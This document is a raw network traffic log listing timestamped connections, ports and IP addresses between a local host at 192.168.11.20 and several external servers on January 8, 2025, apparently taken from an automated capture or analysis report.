Jan 8, 2025 16:19:10.901515007 CET	53912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:10.901619911 CET	53912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:10.901619911 CET	53912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:10.901631117 CET	443	53912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:10.901995897 CET	53912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:11.044349909 CET	443	54738	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:11.044755936 CET	54738	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:11.044764996 CET	443	54738	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:11.045018911 CET	443	54738	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:11.045439959 CET	54738	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:11.045516968 CET	443	54738	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:11.045553923 CET	54738	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:11.045604944 CET	54738	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:11.045622110 CET	443	54738	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:11.045655966 CET	54738	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:11.045661926 CET	443	54738	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:11.099396944 CET	54738	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:11.288971901 CET	443	57597	23.45.46.17	192.168.11.20
Jan 8, 2025 16:19:11.289017916 CET	443	57597	23.45.46.17	192.168.11.20
Jan 8, 2025 16:19:11.289195061 CET	57597	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:19:11.291809082 CET	443	56570	23.45.46.17	192.168.11.20
Jan 8, 2025 16:19:11.291841030 CET	443	56570	23.45.46.17	192.168.11.20
Jan 8, 2025 16:19:11.291996956 CET	56570	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:19:11.381232023 CET	443	54738	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:11.381299019 CET	443	54738	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:11.381480932 CET	54738	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:11.381752968 CET	54738	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:11.381766081 CET	443	54738	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:12.462651968 CET	443	53542	162.159.61.3	192.168.11.20
Jan 8, 2025 16:19:12.462692976 CET	443	53542	162.159.61.3	192.168.11.20
Jan 8, 2025 16:19:12.462858915 CET	53542	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:19:13.013037920 CET	57597	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:19:13.013037920 CET	56570	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:19:13.013057947 CET	443	57597	23.45.46.17	192.168.11.20
Jan 8, 2025 16:19:13.013061047 CET	443	56570	23.45.46.17	192.168.11.20
Jan 8, 2025 16:19:13.013187885 CET	53594	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:13.013211966 CET	443	53594	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:13.013360023 CET	53594	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:13.013508081 CET	53594	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:13.013516903 CET	443	53594	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:13.523938894 CET	443	53594	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:13.525377989 CET	53594	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:13.525615931 CET	443	53594	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:13.526781082 CET	443	53594	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:13.528217077 CET	53594	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:13.528342009 CET	53594	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:13.528388023 CET	53594	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:13.528582096 CET	53594	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:13.528872967 CET	443	53594	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:13.528873920 CET	443	53594	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:13.528873920 CET	443	53594	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:13.582979918 CET	53594	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:13.865762949 CET	443	53594	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:13.865835905 CET	443	53594	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:13.866010904 CET	53594	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:13.866271019 CET	53594	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:13.866283894 CET	443	53594	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:14.561547041 CET	53595	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:19:15.571676016 CET	53595	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:19:16.010459900 CET	58651	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:16.010484934 CET	443	58651	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:16.010735989 CET	58651	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:16.010879993 CET	58651	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:16.010886908 CET	443	58651	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:16.573853970 CET	443	58651	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:16.574151039 CET	58651	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:16.574162006 CET	443	58651	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:16.574448109 CET	443	58651	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:16.574891090 CET	58651	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:16.574960947 CET	58651	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:16.574965000 CET	443	58651	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:16.574980021 CET	443	58651	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:16.575011969 CET	58651	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:16.575028896 CET	443	58651	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:16.575062037 CET	58651	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:16.575109005 CET	443	58651	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:16.627832890 CET	58651	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:16.735621929 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:19:16.831655979 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:19:16.831849098 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:19:16.855094910 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:19:16.912203074 CET	443	58651	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:16.912281036 CET	443	58651	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:16.912420988 CET	58651	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:16.912882090 CET	58651	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:16.912893057 CET	443	58651	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:17.573364973 CET	53595	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:19:19.014595985 CET	64251	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:19.014624119 CET	443	64251	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:19.014802933 CET	64251	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:19.014935970 CET	64251	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:19.014944077 CET	443	64251	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:19.550592899 CET	443	64251	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:19.551062107 CET	64251	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:19.551073074 CET	443	64251	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:19.551368952 CET	443	64251	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:19.551759005 CET	64251	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:19.551857948 CET	443	64251	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:19.551968098 CET	64251	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:19.552018881 CET	64251	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:19.552043915 CET	443	64251	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:19.552072048 CET	64251	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:19.552086115 CET	443	64251	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:19.608856916 CET	64251	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:20.120173931 CET	443	64251	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:20.120246887 CET	443	64251	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:20.120414019 CET	64251	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:20.120644093 CET	64251	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:20.120655060 CET	443	64251	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:21.582693100 CET	53595	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:19:21.995209932 CET	63181	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:21.995234966 CET	443	63181	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:21.995466948 CET	63181	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:21.995645046 CET	63181	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:21.995651960 CET	443	63181	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:22.488799095 CET	50352	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:22.488814116 CET	443	50352	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:22.488964081 CET	50352	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:22.489123106 CET	50352	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:22.489135027 CET	443	50352	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:22.506576061 CET	443	63181	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:22.507133007 CET	63181	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:22.507139921 CET	443	63181	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:22.507419109 CET	443	63181	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:22.507778883 CET	63181	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:22.507827044 CET	443	63181	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:22.507879019 CET	63181	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:22.507931948 CET	63181	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:22.507946968 CET	443	63181	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:22.507981062 CET	63181	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:22.507992029 CET	443	63181	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:22.549112082 CET	63181	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:22.843770027 CET	443	63181	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:22.843827009 CET	443	63181	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:22.843923092 CET	63181	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:22.844196081 CET	63181	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:22.844204903 CET	443	63181	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:22.854808092 CET	443	50352	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:22.855214119 CET	50352	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:22.855222940 CET	443	50352	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:22.855474949 CET	443	50352	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:22.855900049 CET	50352	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:22.855943918 CET	50352	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:22.855989933 CET	443	50352	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:22.909106970 CET	50352	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:23.114510059 CET	443	50352	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:23.114552021 CET	443	50352	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:23.114783049 CET	50352	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:23.115159988 CET	50352	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:23.115169048 CET	443	50352	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:25.012492895 CET	51760	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:25.012537956 CET	443	51760	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:25.012737989 CET	51760	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:25.012923956 CET	51760	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:25.012934923 CET	443	51760	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:25.524569988 CET	443	51760	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:25.524912119 CET	51760	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:25.524921894 CET	443	51760	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:25.525218964 CET	443	51760	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:25.525676966 CET	51760	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:25.525728941 CET	443	51760	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:25.525780916 CET	51760	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:25.525831938 CET	51760	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:25.525845051 CET	443	51760	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:25.525878906 CET	51760	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:25.525888920 CET	443	51760	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:25.528304100 CET	62912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:25.528327942 CET	443	62912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:25.528450012 CET	62912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:25.528635979 CET	62912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:25.528645992 CET	443	62912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:25.567068100 CET	51760	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:25.886270046 CET	443	51760	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:25.886322975 CET	443	51760	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:25.886653900 CET	51760	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:25.886826992 CET	51760	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:25.886836052 CET	443	51760	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:26.050364971 CET	443	62912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:26.050697088 CET	62912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:26.050705910 CET	443	62912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:26.051021099 CET	443	62912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:26.051460028 CET	62912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:26.051522017 CET	443	62912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:26.051523924 CET	62912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:26.051619053 CET	62912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:26.051625013 CET	443	62912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:26.051716089 CET	62912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:26.051729918 CET	443	62912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:26.097609997 CET	62912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:26.407193899 CET	443	62912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:26.407249928 CET	443	62912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:26.407438993 CET	62912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:26.407699108 CET	62912	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:26.407706976 CET	443	62912	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:26.862628937 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:19:26.981936932 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:19:28.007421970 CET	60363	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:28.007458925 CET	443	60363	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:28.007636070 CET	60363	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:28.007817030 CET	60363	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:28.007827997 CET	443	60363	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:28.519901991 CET	443	60363	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:28.520289898 CET	60363	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:28.520299911 CET	443	60363	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:28.520644903 CET	443	60363	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:28.521469116 CET	60363	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:28.521567106 CET	443	60363	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:28.521817923 CET	60363	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:28.521817923 CET	60363	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:28.521874905 CET	443	60363	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:28.521893978 CET	60363	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:28.521909952 CET	443	60363	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:28.567488909 CET	60363	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:28.856741905 CET	443	60363	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:28.856800079 CET	443	60363	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:28.856946945 CET	60363	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:28.857208967 CET	60363	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:28.857220888 CET	443	60363	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:29.596229076 CET	53595	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:19:31.011919022 CET	63676	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:31.011955023 CET	443	63676	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:31.012125969 CET	63676	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:31.012273073 CET	63676	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:31.012283087 CET	443	63676	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:31.524440050 CET	443	63676	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:31.524851084 CET	63676	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:31.524862051 CET	443	63676	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:31.525151968 CET	443	63676	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:31.525614023 CET	63676	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:31.525695086 CET	443	63676	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:31.525765896 CET	63676	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:31.525765896 CET	63676	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:31.525778055 CET	63676	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:31.525814056 CET	443	63676	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:31.525824070 CET	63676	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:31.525846004 CET	443	63676	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:31.526001930 CET	63676	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:31.566210985 CET	443	63676	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:31.567023039 CET	63676	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:31.862734079 CET	443	63676	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:31.862795115 CET	443	63676	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:31.862917900 CET	63676	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:31.863184929 CET	63676	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:31.863197088 CET	443	63676	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:33.425040960 CET	50455	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:33.425055981 CET	443	50455	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:33.996993065 CET	57751	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:33.997019053 CET	443	57751	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:33.997196913 CET	57751	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:33.997384071 CET	57751	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:33.997390032 CET	443	57751	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:34.518527985 CET	443	57751	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:34.518872023 CET	57751	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:34.518882036 CET	443	57751	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:34.519151926 CET	443	57751	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:34.519548893 CET	57751	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:34.519634962 CET	443	57751	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:34.519669056 CET	57751	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:34.519669056 CET	57751	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:34.519732952 CET	443	57751	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:34.519747019 CET	57751	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:34.519764900 CET	443	57751	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:34.565036058 CET	57751	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:34.857750893 CET	443	57751	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:34.857832909 CET	443	57751	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:34.857963085 CET	57751	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:34.858170986 CET	57751	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:34.858181000 CET	443	57751	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:35.723218918 CET	57752	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:19:36.738235950 CET	57752	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:19:36.986591101 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:19:37.027554035 CET	65163	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:37.027584076 CET	443	65163	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:37.027735949 CET	65163	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:37.027923107 CET	65163	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:37.027934074 CET	443	65163	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:37.055423021 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:19:37.055541039 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:19:37.106086016 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:19:37.359513044 CET	62302	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:19:37.359513998 CET	57887	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:19:37.359524965 CET	443	62302	204.79.197.219	192.168.11.20
Jan 8, 2025 16:19:37.359525919 CET	443	57887	204.79.197.219	192.168.11.20
Jan 8, 2025 16:19:37.543112040 CET	443	65163	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:37.543443918 CET	65163	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:37.543454885 CET	443	65163	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:37.543915033 CET	443	65163	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:37.544322968 CET	65163	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:37.544398069 CET	443	65163	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:37.544435978 CET	65163	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:37.544487953 CET	65163	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:37.544502020 CET	443	65163	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:37.544538021 CET	65163	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:37.544552088 CET	443	65163	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:37.592890978 CET	65163	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:37.884763956 CET	443	65163	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:37.884830952 CET	443	65163	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:37.885067940 CET	65163	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:37.885340929 CET	65163	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:37.885350943 CET	443	65163	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:38.745913982 CET	57752	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:19:40.002310038 CET	52412	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:40.002336979 CET	443	52412	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:40.002475977 CET	52412	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:40.002650023 CET	52412	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:40.002660990 CET	443	52412	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:40.514902115 CET	443	52412	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:40.515311003 CET	52412	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:40.515322924 CET	443	52412	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:40.515757084 CET	443	52412	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:40.516176939 CET	52412	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:40.516252995 CET	443	52412	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:40.516277075 CET	52412	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:40.516329050 CET	52412	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:40.516374111 CET	443	52412	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:40.516379118 CET	52412	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:40.516391039 CET	443	52412	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:40.567713022 CET	52412	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:40.850749969 CET	443	52412	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:40.850812912 CET	443	52412	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:40.850965023 CET	52412	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:40.851264000 CET	52412	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:19:40.851281881 CET	443	52412	20.189.173.24	192.168.11.20
Jan 8, 2025 16:19:42.756139040 CET	57752	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:19:46.613858938 CET	53542	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:19:46.613883018 CET	443	53542	162.159.61.3	192.168.11.20
Jan 8, 2025 16:19:47.112493038 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:19:47.231769085 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:19:49.553553104 CET	49697	443	192.168.11.20	52.159.126.152
Jan 8, 2025 16:19:49.673274040 CET	443	49697	52.159.126.152	192.168.11.20
Jan 8, 2025 16:19:49.727576017 CET	49697	443	192.168.11.20	52.159.126.152
Jan 8, 2025 16:19:50.663517952 CET	50455	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:50.663583040 CET	443	50455	204.79.197.203	192.168.11.20
Jan 8, 2025 16:19:50.663707018 CET	50455	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:19:50.771975994 CET	57752	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:19:50.785470963 CET	60666	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:19:50.785495996 CET	443	60666	23.220.206.35	192.168.11.20
Jan 8, 2025 16:19:50.785612106 CET	60666	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:19:50.785876989 CET	60666	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:19:50.785887957 CET	443	60666	23.220.206.35	192.168.11.20
